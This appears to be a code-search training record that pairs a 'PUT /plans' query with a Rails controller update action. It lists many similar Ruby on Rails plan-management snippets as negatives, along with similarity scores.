"def create\n @plan = Plan.new(plan_params)\n respond_to do |format|\n if @plan.save\n # expire_fragment(\"plans\")\n expire_action :action => 'index'\n UserMailer.create_plan(current_user, @plan).deliver\n format.html { redirect_to @plan, notice: 'Plan was successfully created.' }\n format.json { render action: 'show', status: :created, location: @plan }\n else\n format.html { render action: 'new' }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @page_plan = PagePlan.new(page_plan_params)\n respond_to do |format|\n if @page_plan.save\n format.html { redirect_to @page_plan, notice: 'Page plan was successfully created.' }\n format.json { render :show, status: :created, location: @page_plan }\n else\n format.html { render :new }\n format.json { render json: @page_plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @plans = Plan.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @plans }\n end\n end",
"def create\n @plan = Plan.new(params[:plan])\n @plan.transaction_fee_percent = TRANSACTION_FEE_PERCENT\n @plan.transaction_fee_flat = TRANSACTION_FEE_FLAT\n @plan.artist_id = session[:artist_id] \n\n respond_to do |format|\n if @plan.save\n\n Stripe::Plan.create( :amount => \"#{(@plan.price * 100).to_i}\", :interval => 'month', :name => \"#{@plan.artist.name} - #{@plan.name}\", :currency => 'usd', :id => \"#{@plan.id}\" )\n \n format.html { redirect_to(artist_profile_url(@plan.artist), :notice => 'Pledge level was successfully created.') }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @plan.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @billing_plan = BillingPlan.new(billing_plan_params)\n\n respond_to do |format|\n if @billing_plan.save\n format.html { redirect_to @billing_plan, notice: 'Billing plan was successfully created.' }\n format.json { render action: 'show', status: :created, location: @billing_plan }\n else\n format.html { render action: 'new' }\n format.json { render json: @billing_plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def plans\r\n @plans ||= PlansController.new(configuration: @configuration)\r\n end",
"def create\n @sslplan = Sslplan.new(params[:sslplan])\n\n respond_to do |format|\n if @sslplan.save\n format.html { redirect_to @sslplan, :notice => 'Sslplan was successfully created.' }\n format.json { render :json => @sslplan, :status => :created, :location => @sslplan }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @sslplan.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create # rubocop:disable Metrics/AbcSize\n attrs = params.require(plan_type).permit(CREATE_PARAMS)\n @plan = collection.build(attrs)\n\n if plan.save\n if block_given?\n yield\n else\n plan.reload\n\n respond_to do |format|\n format.html do\n flash[:notice] = \"Created #{plan.class.model_name.human} #{plan.name}\"\n # collection.build to create new record to properly generate path to index action (rails)\n redirect_to plans_index_path\n end\n end\n end\n\n else\n render :new\n end\n end",
"def create\n @plan = Plan.new(plan_params)\n @case = @plan.case\n respond_to do |format|\n if @plan.save\n set_link_to_appointment(@plan)\n format.html { redirect_to back_index_case_url, notice: 'Plan was successfully created.' }\n format.json { render :show, status: :created, location: @plan }\n else\n format.html { render :new }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @test_plan = TestPlan.new(test_plan_params)\n @test_plan.project_id = @project.id\n\n respond_to do |format|\n if @test_plan.save\n format.html { redirect_to project_test_plans_path(@project), flash: {success: 'LoadTest plan was successfully created.'} }\n format.json { render :show, status: :created, location: @test_plan }\n else\n format.html { render :new }\n format.json { render json: @test_plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @admin_subscription_plan = Admin::SubscriptionPlan.new(admin_subscription_plan_params)\n\n respond_to do |format|\n if @admin_subscription_plan.save\n format.html { redirect_to @admin_subscription_plan, notice: 'Subscription plan was successfully created.' }\n format.json { render :show, status: :created, location: @admin_subscription_plan }\n else\n format.html { render :new }\n format.json { render json: @admin_subscription_plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def plan_params\n params.require(:plan).permit(:title, :body, :id)\n end",
"def create\n plan = Plan.new\n authorize plan\n\n # If the template_id is blank then we need to look up the available templates and\n # return JSON\n if plan_params[:template_id].blank?\n # Something went wrong there should always be a template id\n respond_to do |format|\n flash[:alert] = _('Unable to identify a suitable template for your plan.')\n format.html { redirect_to new_plan_path }\n end\n else\n\n puts plan_params.inspect\n\n @plan = create_plan(plan: plan, params: plan_params)\n\n if @plan.is_a?(Plan)\n default = Template.default\n\n msg = \"#{success_message(@plan, _('created'))}<br />\"\n\n if !default.nil? && default == @plan.template\n # We used the generic/default template\n msg += \" #{_('This plan is based on the default template.')}\"\n\n elsif !@plan.template.customization_of.nil?\n # We used a customized version of the the funder template\n # rubocop:disable Layout/LineLength\n msg += \" #{_('This plan is based on the')} #{@plan.funder&.name}: '#{@plan.template.title}' #{_('template with customisations by the')} #{@plan.template.org.name}\"\n # rubocop:enable Layout/LineLength\n else\n # We used the specified org's or funder's template\n msg += \" #{_('This plan is based on the')} #{@plan.template.org.name}: '#{@plan.template.title}' template.\"\n end\n\n respond_to do |format|\n flash[:notice] = msg\n format.html { redirect_to plan_path(@plan) }\n end\n else\n # Something went wrong so report the issue to the user\n respond_to do |format|\n flash[:alert] = failure_message(plan, _('create'))\n format.html { redirect_to new_plan_path }\n end\n end\n end\n end",
"def create\n assessment = Assessment.find(plan_create_params.fetch(:assessment_id))\n disease_ids = plan_create_params.fetch(:disease_ids).to_s.split(\"-\")\n\n if plan_create_params[:indicators].values.map(&:to_i).any?(&:zero?)\n flash[:alert] = \"Every score and goal must be 1 or higher.\"\n return redirect_back fallback_location: root_path\n end\n\n @plan =\n Plan.create_from_goal_form(\n indicator_attrs: plan_create_params.fetch(:indicators),\n assessment: assessment,\n is_5_year_plan: plan_create_params.fetch(:term).start_with?(\"5\"),\n plan_name: \"#{assessment.country.name} draft plan\",\n disease_ids: disease_ids,\n user: current_user\n )\n unless @plan.persisted?\n flash[:notice] = \"Could not save your plan, something went wrong.\"\n redirect_back fallback_location: root_path\n return\n end\n session[:plan_id] = @plan.id unless current_user\n redirect_to @plan\n rescue Exceptions::InvalidDiseasesError => e\n flash[:notice] = e.message\n redirect_back fallback_location: root_path\n end",
"def index\n @plans = Plan.all\n end",
"def index\n @plans = Plan.all\n end",
"def create_plan(body,\r\n idempotency_key = nil)\r\n # Prepare query url.\r\n _path_url = '/plans'\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << _path_url\r\n _query_url = APIHelper.clean_url _query_builder\r\n # Prepare headers.\r\n _headers = {\r\n 'accept' => 'application/json',\r\n 'ServiceRefererName' => Configuration.service_referer_name,\r\n 'Content-Type' => 'application/json',\r\n 'idempotency-key' => idempotency_key\r\n }\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.post(\r\n _query_url,\r\n headers: _headers,\r\n parameters: body.to_json\r\n )\r\n BasicAuth.apply(_request)\r\n _context = execute_request(_request)\r\n # Validate response against endpoint and global error codes.\r\n if _context.response.status_code == 400\r\n raise ErrorException.new(\r\n 'Invalid request',\r\n _context\r\n )\r\n elsif _context.response.status_code == 401\r\n raise ErrorException.new(\r\n 'Invalid API key',\r\n _context\r\n )\r\n elsif _context.response.status_code == 404\r\n raise ErrorException.new(\r\n 'An informed resource was not found',\r\n _context\r\n )\r\n elsif _context.response.status_code == 412\r\n raise ErrorException.new(\r\n 'Business validation error',\r\n _context\r\n )\r\n elsif _context.response.status_code == 422\r\n raise ErrorException.new(\r\n 'Contract validation error',\r\n _context\r\n )\r\n elsif _context.response.status_code == 500\r\n raise ErrorException.new(\r\n 'Internal server error',\r\n _context\r\n )\r\n end\r\n validate_response(_context)\r\n # Return appropriate response type.\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body)\r\n PlansResponse1.from_hash(decoded)\r\n end",
"def create\r\n @plan = Plan.new(plan_params)\r\n respond_to do |format|\r\n if @plan.save\r\n set_plans_grid\r\n format.html { redirect_to redirect_url, notice: t('activerecord.success.messages.created', model: Plan.model_name.human) }\r\n format.js\r\n else\r\n format.html { render :new }\r\n format.js { render :new }\r\n end\r\n end\r\n end",
"def create\n @site_plan = @product.site_plans.new(site_plan_params)\n\n respond_to do |format|\n if @site_plan.save\n format.html { redirect_to \"#{product_path(@product)}/#site_plan-tab\", notice: 'Site plan was successfully created.' }\n format.json { render json: @site_plan, status: :created }\n else\n format.html { render action: 'new' }\n format.json { render json: @site_plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n render json: @plan\n end",
"def create\n @single_plan = SinglePlan.new(params[:single_plan])\n @single_plan.workout_plans << @workout_plan\n\n respond_to do |format|\n if @single_plan.save\n flash[:notice] = 'Single Plan was successfully created.'\n format.html { redirect_to(@single_plan) }\n format.xml { render :xml => @single_plan, :status => :created, :location => @single_plan }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @single_plan.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @plantype = Plantype.new(params[:plantype])\n\n respond_to do |format|\n if @plantype.save\n format.html { redirect_to @plantype, notice: 'Plantype was successfully created.' }\n format.json { render json: @plantype, status: :created, location: @plantype }\n else\n format.html { render action: \"new\" }\n format.json { render json: @plantype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n respond_with(@plans = Plan.all)\n end",
"def create\n @sales_plan = SalesPlan.new(sales_plan_params)\n\n respond_to do |format|\n if @sales_plan.save\n format.html { redirect_to @sales_plan, notice: 'Sales plan was successfully created.' }\n format.json { render :show, status: :created, location: @sales_plan }\n else\n format.html { render :new }\n format.json { render json: @sales_plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @plans = @event.plans\n \n respond_to do |format|\n format.html {}\n format.json { render json: @event.to_json}\n end\n end",
"def create\n @ad_plan = AdPlan.new(ad_plan_params)\n\n respond_to do |format|\n if @ad_plan.save\n format.html { redirect_to @ad_plan, notice: 'Ad plan was successfully created.' }\n format.json { render :show, status: :created, location: @ad_plan }\n else\n format.html { render :new }\n format.json { render json: @ad_plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def plan_params\n params.require(:plan).permit(:nombre, :codigo, :precio, :empresa_id, :servicio_id, :type_plan_id, :tipo_cliente_id, :state, :necesidad)\n end",
"def plan_params\n params.require(:plan).permit(:name, :user_id)\n end",
"def create\n @planitem = Planitem.new(planitems_params)\n\n respond_to do |format|\n if @planitem.save\n format.html { redirect_to \"#{plan_path(@planitem.sprint.quarter.name)}\", notice: 'Plan item was successfully created.' }\n format.json { render json: @planitem, status: :created, location: @planitem }\n else\n\t\t@sprint = Sprint.find(@planitem.sprint_id)\n\t\t@teams = Team.order(:name)\n\t\t@initiatives = Initiative.where(:quarter_id => @sprint.quarter_id)\n\t\t@sprints = Sprint.where(:quarter_id => @sprint.quarter_id)\n format.html { render action: \"new\" }\n format.json { render json: @planitem.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @plans = Stripe::Plan.all\n end",
"def create(attrs, user = @@default_user)\n attrs = { project_token: @project_token }.merge(attrs)\n @attributes = send_request('test_plans', :post) do |req|\n req.body = {\n test_plan: attrs.except(:project_token),\n token: attrs[:project_token],\n auth_token: user.auth_token\n }\n end\n end",
"def plan_params\r\n params.require(:plan).permit(\r\n :title,\r\n :started_at,\r\n :ended_at,\r\n :state,\r\n :remarks,\r\n :project_ids => [],\r\n )\r\n end",
"def new\n @test_plan = TestPlan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @test_plan }\n end\n end",
"def create\n format_amount\n @pay_plan = PayPlan.new(pay_plan_params)\n respond_to do |format|\n if @pay_plan.save\n format.html { redirect_to @pay_plan, notice: 'Payment plan was successfully created.' }\n format.json { render :show, status: :created, location: @pay_plan }\n else\n format.html { render :new }\n format.json { render json: @pay_plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def plan_params\n params.require(:plan).permit(:date, :breakfast_id, :lunch_id, :dinner_id, :food_id)\n end",
"def create\n @business_plan = BusinessPlan.new(business_plan_params)\n\n respond_to do |format|\n if @business_plan.save\n format.html { redirect_to @business_plan, notice: 'Business plan was successfully created.' }\n format.json { render :show, status: :created, location: @business_plan }\n else\n format.html { render :new }\n format.json { render json: @business_plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @plan = Plan.new(plan_params)\n @plan.user_id = current_user.id\n\n respond_to do |format|\n if @plan.save\n format.html { redirect_to @plan, notice: 'Plan was successfully created.' }\n format.json { render :show, status: :created, location: @plan }\n Term.create(plan_id: @plan.id, semester: \"Fall\", year: @plan.startyear)\n Term.create(plan_id: @plan.id, semester: \"Spring\", year: @plan.startyear+1)\n Term.create(plan_id: @plan.id, semester: \"Summer\", year: @plan.startyear+1)\n else\n format.html { render :new }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @plan = Plan.new(plan_params)\n @patient = Patient.find(params[:patient_selec]['id'])\n @family_group = FamilyGroup.find(params[:id])\n @plan.state = \"Abierto\"\n\n respond_to do |format|\n if @plan.save\n current_user.plans << @plan\n @family_group.plans << @plan\n @family_group.save\n format.html { redirect_to planslink_path(@family_group.id), notice: 'Plan was successfully created.' }\n format.json { render action: 'show', status: :created, location: @plan }\n else\n format.html { render action: 'new' }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @socialize_plan = SocializePlan.new(params[:socialize_plan])\n\n respond_to do |format|\n if @socialize_plan.save\n format.html { redirect_to(@socialize_plan, :notice => 'Socialize plan was successfully created.') }\n format.xml { render :xml => @socialize_plan, :status => :created, :location => @socialize_plan }\n format.json { render :json => @socialize_plans }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @socialize_plan.errors, :status => :unprocessable_entity }\n format.json { render :json => @socialize_plan.errors, :status => :unprocessable_entity}\n end\n end\n end",
"def new\n @panel_plan = Panel::Plan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @panel_plan }\n end\n end",
"def plan_params\n params.require(:plan).permit(:name, :start_date, :end_date, :area_id)\n end",
"def create\n plan = Billingly::Plan.find(params[:plan_id])\n unless current_customer.can_subscribe_to?(plan)\n return redirect_to subscriptions_path, notice: 'Cannot subscribe to that plan'\n end\n current_customer.subscribe_to_plan(plan)\n on_subscription_success\n end",
"def create\n plan = Billingly::Plan.find(params[:plan_id])\n unless current_customer.can_subscribe_to?(plan)\n return redirect_to subscriptions_path, notice: 'Cannot subscribe to that plan'\n end\n current_customer.subscribe_to_plan(plan)\n on_subscription_success\n end",
"def show\n @plan = Plan.find(params[:id])\n\n render json: @plan\n end",
"def plan_params\n params.require(:plan).permit(:name, :user_id, :description, :id, :starting_year)\n end",
"def create\n @plan = Plan.new(plan_params)\n respond_to do |format|\n if @plan.save\n PlanUser.create(plan_id: @plan.id, user_id: current_user.id)\n format.html { redirect_to ({action: 'member', id: @plan.id , flg: 'new'}) }\n # format.html { redirect_to @plan, notice: 'Plan was successfully created.' }\n format.json { render :show, status: :created, location: @plan }\n else\n format.html { render :new }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @inventory_plan = InventoryPlan.new(inventory_plan_params)\n\n respond_to do |format|\n if @inventory_plan.save\n format.html { redirect_to @inventory_plan, notice: 'Inventory plan was successfully created.' }\n format.json { render :show, status: :created, location: @inventory_plan }\n else\n format.html { render :new }\n format.json { render json: @inventory_plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @study_plan = StudyPlan.new(study_plan_params)\n respond_to do |format|\n if @study_plan.save\n format.html { redirect_to study_plans_url, notice: 'Study plan was successfully created.' }\n format.json { render :show, status: :created, location: @study_plan }\n else\n format.html { render :new }\n format.json { render json: @study_plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def plan_params\n params.require(:plan).permit(:name, :price, :trainings_id)\n end",
"def create\n @payment_plan = PaymentPlan.new(payment_plan_params)\n\n respond_to do |format|\n if @payment_plan.save\n redirect_to @payment_plan, notice: 'Payment plan was successfully created.'\n else\n render :new\n end\n end\n end",
"def set_plan\n return unless json_request?\n @plan = current_user.plans.find_by_ident(params[:id])\n return render json: { status: 'failed', alert: '此计划不存在' } unless @plan\n end",
"def create\r\n @work_plan = WorkPlan.new(params[:work_plan])\r\n\r\n respond_to do |format|\r\n if @work_plan.save\r\n format.html { redirect_to @work_plan, notice: 'Work plan was successfully created.' }\r\n format.json { render json: @work_plan, status: :created, location: @work_plan }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @work_plan.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def plan_create_params\n params.require(:plan).permit(\n :stripe_id, :amount, :currency, :interval, :interval_count, :name,\n :statement_descriptor, :trial_period_days, :order, :highlight, :features, :description, :group\n )\n end",
"def create\n @test_plan = TestPlan.new(params[:test_plan])\n\n respond_to do |format|\n if @test_plan.save\n format.html { redirect_to(@test_plan, :notice => 'Test plan was successfully created.') }\n format.xml { render :xml => @test_plan, :status => :created, :location => @test_plan }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @test_plan.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def plan_params\n params.require(:plan).permit(:title, :content, :image, :scheduled_date)\n end",
"def create\n\t@plan=Plan.find(params[:plan_id])\n\tif !@plan.present?\n\t\tredirect_to new_buy_plan_path, :flash => { :error => \"plan not found\" }\n\t\treturn\n\tend\n\n\tif current_user.stripe_id.present?\n\t\tcustomer_id=current_user.stripe_id\n\t\tcustomer = Stripe::Customer.retrieve(customer_id)\n\t\tcustomer.sources.create(:source => params[:stripeToken])\n\telse\n\t\tcustomer = Stripe::Customer.create(\n\t\t\t:email => params[:stripeEmail],\n\t\t\t:source => params[:stripeToken]\n\t\t)\n\t\tcustomer_id=customer.id\n\t\tcurrent_user.stripe_id=customer_id\n\t\tcurrent_user.save(validate: false)\n\tend\n\n\tsubscription = customer.subscriptions.create(:plan => @plan.stripe_id )\n\n\t@plan=BuyPlan.new(:plan_id => params[:plan_id], :user_id => current_user.id, :status=>1)\n\t@plan.save\n\n\tredirect_to pages_page0_path, :flash => { :notice => \"purchase completed\" }\n\n\trescue Stripe::CardError => e\n\t\tflash[:error] = e.message\n\t\tredirect_to new_buy_plan_path(:id => params[:plan_id])\n end",
"def plan_params\n params.require(:plan).permit(:name,:duration,:description,:subscription_id)\n end",
"def create\n @article_plan = ArticlePlan.new(article_plan_params)\n\n respond_to do |format|\n if @article_plan.save\n format.html { redirect_to @article_plan, notice: 'Article plan was successfully created.' }\n format.json { render :show, status: :created, location: @article_plan }\n else\n format.html { render :new }\n format.json { render json: @article_plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def plan_params\n params.require(:plan).permit(:name, :user_id, :catalogYear, :majorName)\n end",
"def create\n @check_plan = CheckPlan.new(check_plan_params)\n\n respond_to do |format|\n if @check_plan.save\n format.html { redirect_to @check_plan, notice: 'Check plan was successfully created.' }\n format.json { render :show, status: :created, location: @check_plan }\n else\n format.html { render :new }\n format.json { render json: @check_plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def pharmacy_plans(params = {})\n response = default_scope.get('pharmacy/plans') do |request|\n request.params = params\n end\n JSON.parse(response.body)\n end",
"def create\n @billing_plan = BillingPlan.new(params[:billing_plan])\n\n respond_to do |format|\n if @billing_plan.save\n format.html { redirect_to(@billing_plan, :notice => 'Billing plan was successfully created.') }\n format.xml { render :xml => @billing_plan, :status => :created, :location => @billing_plan }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @billing_plan.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @exercise_plan = ExercisePlan.new(params[:exercise_plan])\n\n respond_to do |format|\n if @exercise_plan.save\n format.html { redirect_to @exercise_plan, notice: 'Exercise plan was successfully created.' }\n format.json { render json: @exercise_plan, status: :created, location: @exercise_plan }\n else\n format.html { render action: \"new\" }\n format.json { render json: @exercise_plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cardio_plan = CardioPlan.new(params[:cardio_plan])\n @cardio_plan.workout_plans << @workout_plan\n\n respond_to do |format|\n if @cardio_plan.save\n flash[:notice] = 'Cardio Plan was successfully created.'\n format.html { redirect_to(@cardio_plan) }\n format.xml { render :xml => @cardio_plan, :status => :created, :location => @cardio_plan }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @cardio_plan.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @user = @current_user\n @title = 'Home ('+ Time.now.to_date.to_s + ')'\n @current_event, @events = Event.find_todays_events(@user)\n @plans = @user.plans\n\n\n unless params[:plan]['deadline(3i)'].blank? and\n params[:plan]['deadline(2i)'].blank? \n\n if params[:plan]['deadline(2i)'].blank? \n params[:plan]['deadline(2i)'] = Time.now.month.to_s\n end\n\n if params[:plan]['deadline(3i)'].blank? \n params[:plan]['deadline(3i)'] = '1'\n end\n\n if params[:plan]['deadline(2i)'].to_i < Time.now.month or \n (params[:plan]['deadline(2i)'].to_i == Time.now.month and \n params[:plan]['deadline(3i)'].to_i < Time.now.day)\n params[:plan]['deadline(1i)'] = Time.now.year.next.to_s\n else\n params[:plan]['deadline(1i)'] = Time.now.year.to_s\n end\n end\n\n @new_plan = Plan.new(params[:plan])\n @new_plan.user = @user\n\n unless params[:plan][:recurs] == 'recurs' \n if params[:plan][:recurs] == 'daily' \n @new_plan.recurs = Plan::RECURS[:daily] \n elsif params[:plan][:recurs] == 'weekly' \n @new_plan.recurs = Plan::RECURS[:weekly] \n elsif params[:plan][:recurs] == 'monthly' \n @new_plan.recurs = Plan::RECURS[:monthly] \n end\n else \n @new_plan.recurs = Plan::RECURS[:none] \n end \n\n unless params[:plan].blank? or params[:plan][:parent].blank?\n @new_plan.parent = @current_user.plans.find(params[:plan][:parent])\n end\n\n respond_to do |format|\n if @new_plan.save\n flash[:notice] = 'Plan was successfully created.'\n format.html { redirect_to(events_path()) }\n format.xml { render :xml => @new_plan, :status => :created,\n :location => @new_plan }\n else\n format.html { render :template=>\"events/index\" }\n format.xml { render :xml => @new_plan.errors,\n :status => :unprocessable_entity }\n end\n end\n end",
"def create_new_plans\n plan_ids = Plan.all.map(&:plan_id)\n cb_plans.reject { |cb_plan| plan_ids.include?(cb_plan.id) }\n .each { |new_plan| puts \"Creating Plan - #{new_plan.id}\"; Plan.create(plan_params(new_plan)) }\n end",
"def create\n @media_plan = MediaPlan.new(media_plan_params)\n\n respond_to do |format|\n if @media_plan.save\n format.html { redirect_to @media_plan, notice: 'Media plan was successfully created.' }\n format.json { render :show, status: :created, location: @media_plan }\n else\n format.html { render :new }\n format.json { render json: @media_plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @finance_plan = FinancePlan.new(finance_plan_params)\n\n respond_to do |format|\n if @finance_plan.save\n format.html { redirect_to @finance_plan, notice: 'Finance plan was successfully created.' }\n format.json { render action: 'show', status: :created, location: @finance_plan }\n else\n format.html { render action: 'new' }\n format.json { render json: @finance_plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @meal_plan = MealPlan.new(meal_plan_params)\n\n respond_to do |format|\n if @meal_plan.save\n format.html { redirect_to @meal_plan, notice: 'Meal plan was successfully created.' }\n format.json { render :show, status: :created, location: @meal_plan }\n else\n format.html { render :new }\n format.json { render json: @meal_plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\r\n @general_plan = GeneralPlan.new(params[:general_plan])\r\n\r\n respond_to do |format|\r\n if @general_plan.save\r\n format.html { redirect_to @general_plan, notice: 'General plan was successfully created.' }\r\n format.json { render json: @general_plan, status: :created, location: @general_plan }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @general_plan.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def create\n @klassplan = Klassplan.new(params[:klassplan])\n\n respond_to do |format|\n if @klassplan.save\n format.html { redirect_to @klassplan, notice: 'Klassplan was successfully created.' }\n format.json { render json: @klassplan, status: :created, location: @klassplan }\n else\n format.html { render action: \"new\" }\n format.json { render json: @klassplan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @test_plans = @project.test_plans\n end",
"def fetch_plans (id = nil)\n @plans = []\n parameters = {}\n @networks_by_plan = {}\n parameters[:_profile] = 'http://hl7.org/fhir/us/davinci-pdex-plan-net/StructureDefinition/plannet-InsurancePlan' \n if(id)\n parameters[:_id] = id\n end\n\n @client.search(\n FHIR::InsurancePlan,\n search: { parameters: parameters }\n )&.resource&.entry&.map do |entry|\n @plans << {\n value: entry&.resource&.id,\n name: entry&.resource&.name\n }\n @networks_by_plan [ entry&.resource&.id] = entry&.resource&.network\n end\n @plans.sort_by! { |hsh| hsh[:name] }\n rescue => exception\n redirect_to root_path, flash: { error: 'Please specify a plan network server' }\n\n end",
"def new\n @project_procurement_management_plan = current_user.project_procurement_management_plans.build\n 1.times { @project_procurement_management_plan.projects.build }\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project_procurement_management_plan }\n end\n end",
"def create\n @session_plan = @session_plan_category.session_plans.new(session_plan_params)\n\n respond_to do |format|\n if @session_plan.save\n format.html { redirect_to session_plan_category_session_plans_path(@session_plan_category), notice: 'Session plan was successfully created.' }\n format.json { render action: 'show', status: :created, location: @session_plan }\n else\n format.html { render action: 'new' }\n format.json { render json: @session_plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def plan_params\n params.require(:plan).permit(:date, :user_id, :situation, :incident_id, :weather, \n :general_safety, :prepared_by, :org_list, :assignment_list, \n :comm_plan, :med_plan, :incident_map, :comm_plan, \n :travel_plan, :date_prepare, :time_prepared, :ops_period,\n :approved_by)\n end",
"def create\n @trip_plan = TripPlan.new(trip_plan_params.merge(user_id: current_user.try(:id)))\n\n respond_to do |format|\n if @trip_plan.save\n format.html { redirect_to @trip_plan, notice: 'Trip plan was successfully created.' }\n format.json { render :show, status: :created, location: @trip_plan }\n format.js {}\n else\n format.html { render :new }\n format.json { render json: @trip_plan.errors, status: :unprocessable_entity }\n format.js {}\n end\n end\n end",
"def new\n @plantype = Plantype.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plantype }\n end\n end",
"def create\n @floor_plan = @product.floor_plans.new(floor_plan_params)\n\n respond_to do |format|\n if @floor_plan.save\n format.html { redirect_to \"#{product_path(@product)}/#floor_plan-tab\", notice: 'Floor plan was successfully created.' }\n format.json { render json: @floor_plan, status: :created }\n else\n format.html { render action: 'new' }\n format.json { render json: @floor_plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def plan_params\n params.require(:plan).permit(:name, :locations, :service_providers, :custom, :special, :monthly_mails, plan_countries_attributes: [:id, :country_id, :price])\n end",
"def plan_params\n params.require(:plan).permit(:rate_limit, :value, :profile_name)\n end"
] |
[
"0.7666621",
"0.7620931",
"0.7418079",
"0.7331516",
"0.7331516",
"0.71364665",
"0.71306527",
"0.7088523",
"0.70765185",
"0.7063694",
"0.70289785",
"0.7000881",
"0.69677114",
"0.6897479",
"0.68451",
"0.6844818",
"0.6837134",
"0.6835583",
"0.6835583",
"0.6828154",
"0.67873955",
"0.6785785",
"0.6774389",
"0.67629486",
"0.67313486",
"0.67157626",
"0.6715007",
"0.6712665",
"0.6696451",
"0.66896695",
"0.6632063",
"0.6625359",
"0.66176724",
"0.66083074",
"0.66083074",
"0.66062355",
"0.65960366",
"0.65943015",
"0.6590009",
"0.6588929",
"0.65473396",
"0.6533945",
"0.65319234",
"0.6530178",
"0.65258247",
"0.6519772",
"0.6514156",
"0.6511731",
"0.65112126",
"0.6508417",
"0.65070534",
"0.6504553",
"0.64925295",
"0.64869523",
"0.6484218",
"0.64841545",
"0.6480501",
"0.6472786",
"0.6456632",
"0.6452333",
"0.6449532",
"0.6449532",
"0.6443534",
"0.64416003",
"0.6427334",
"0.6423475",
"0.6421037",
"0.642076",
"0.64146554",
"0.64112884",
"0.6411122",
"0.64046854",
"0.6404128",
"0.6403432",
"0.6390119",
"0.6389148",
"0.6385321",
"0.6381982",
"0.637698",
"0.63745946",
"0.6371912",
"0.6355477",
"0.63538325",
"0.6352739",
"0.6340354",
"0.63388276",
"0.6332954",
"0.6332442",
"0.6331643",
"0.6331262",
"0.6331237",
"0.63264734",
"0.6323889",
"0.6321388",
"0.63165516",
"0.6314495",
"0.6313586",
"0.6312128",
"0.6306336",
"0.6292915"
] |
0.65843475
|
40
|
PUT /plans/1 PUT /plans/1.json
|
def update
@plan = Plan.find(params[:id])
respond_to do |format|
if @plan.update_attributes(params[:plan])
format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }
format.json { head :no_content }
else
format.html { render action: "edit" }
format.json { render json: @plan.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n @plan = Plan.find(params[:id])\n\n if @plan.update(params[:plan])\n head :no_content\n else\n render json: @plan.errors, status: :unprocessable_entity\n end\n end",
"def update\n @plan = Plan.find(params[:id])\n\n if @plan.update(plan_params)\n head :no_content\n else\n render json: @plan.errors, status: :unprocessable_entity\n end\n end",
"def update\n @plan = Plan.find(params[:id])\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n unless @plan.update(plan_params)\n render json: {status: 'failed', message: '更新失败,请稍后重试 !'}\n end\n end",
"def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end",
